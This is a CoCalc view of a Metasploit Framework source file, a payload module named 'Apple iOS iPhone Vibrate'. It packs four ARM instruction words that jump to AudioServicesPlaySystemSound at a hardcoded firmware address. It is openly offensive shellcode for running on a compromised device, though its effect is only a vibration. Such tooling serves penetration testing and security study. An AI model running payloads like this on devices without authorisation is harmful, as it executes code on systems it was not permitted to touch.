CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/osx/armle/vibrate.rb
Views: 11777
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
8
CachedSize = 16
9
10
include Msf::Payload::Single
11
include Msf::Payload::Osx
12
13
def initialize(info = {})
14
super(merge_info(info,
15
'Name' => 'Apple iOS iPhone Vibrate',
16
'Description' => %q|
17
Causes the iPhone to vibrate, only works when the AudioToolkit library has been loaded.
18
Based on work by Charlie Miller <cmiller[at]securityevaluators.com>.
19
|,
20
'Author' => 'hdm',
21
'License' => MSF_LICENSE,
22
'Platform' => 'osx',
23
'Arch' => ARCH_ARMLE))
24
end
25
26
def generate(_opts = {})
27
[
28
0xe1a00820, # mov r0, r0, lsr #16
29
0xe51ff004, # ldr pc, [pc, #-4]
30
0x319ef974, # _AudioServicesPlaySystemSound() / Firmware 1.02
31
0x03ea4444 # Parameter: 0x03ea
32
].pack("V*")
33
end
34
end
35
36